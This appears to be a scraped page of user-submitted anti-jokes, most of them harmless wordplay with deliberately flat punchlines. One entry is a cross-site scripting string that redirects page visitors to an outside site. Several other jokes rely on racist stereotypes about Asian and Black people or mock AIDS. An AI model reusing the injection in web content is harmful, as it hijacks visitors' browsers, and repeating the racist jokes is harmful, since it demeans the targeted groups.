My ex wife looks like a pitbull.

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A boy walked in on his mom and dad in their bedroom last night they were having a leisurely evening playing scrabble

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Two bars walk into a guy, and the bartender says, "You're telling the joke wrong, stupid!"

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A young Asian boy got a B on his test. He went home an showed his parents even though he was nervous of their reaction. They told him that a B was a good grade and put it on the fridge. After that he began to gradually flunk each class one by one because of his parent's inability to push him to be better. He is now homeless and an alcoholic.

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What did the cricket say to the fox? Cricket.

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What's brown and sits in the woods? Winnie's poo

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"'>document.location.href="http://cramik.org"

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why wuz 6 afraid of 7 7 had a gun

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Why did the chicken cross the road. ... It didn't.

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The fox said to the walrus, "Hatee-hatee-hatee-ho!" And the walrus replied, "Goo-Goo-g'joob".

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what do u call a black guy who sells drugs a pharmacist

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A man and a six year old boy are walking along a path through the woods on a moonless night. "Gee mister, I'm scared!" says the boy. "You're scared?" says the man. "I have to walk back alone!"

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yo mamas so ugly.... everyone died. the end.

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Did you know Helen Keller had a tree house? Niether did she

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Q: Why did the man have sex with Amanda Seyfried? A: Are you kidding me?

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Why did the bald man lose his hair no not cancer obviously AIDS.

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Why are Asians yellow? Because that is their natural skin color

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Why can't Scrillex fish? Because He is too busy to practice fishing.

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A duck walks into a bar, clearly ignoring the 'No Ducks Allowed' sign that had been placed in the window to prevent comedic scenarios.

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3 Men walk into a bar, they all order up a drink. And then they paid their tabs and left.

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What's black and has ne education? A tire.

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I am pleased and honored to hear you speak that beautifully straight from your heart Nero, you are without equal, unmatched. And he who is unmatched, also stands alone.

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Why did the boy die while brushing his teeth? The toothbrush wasn't water-proof.

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WHATS FASTER THAN INTERNET BUSTA RYMES

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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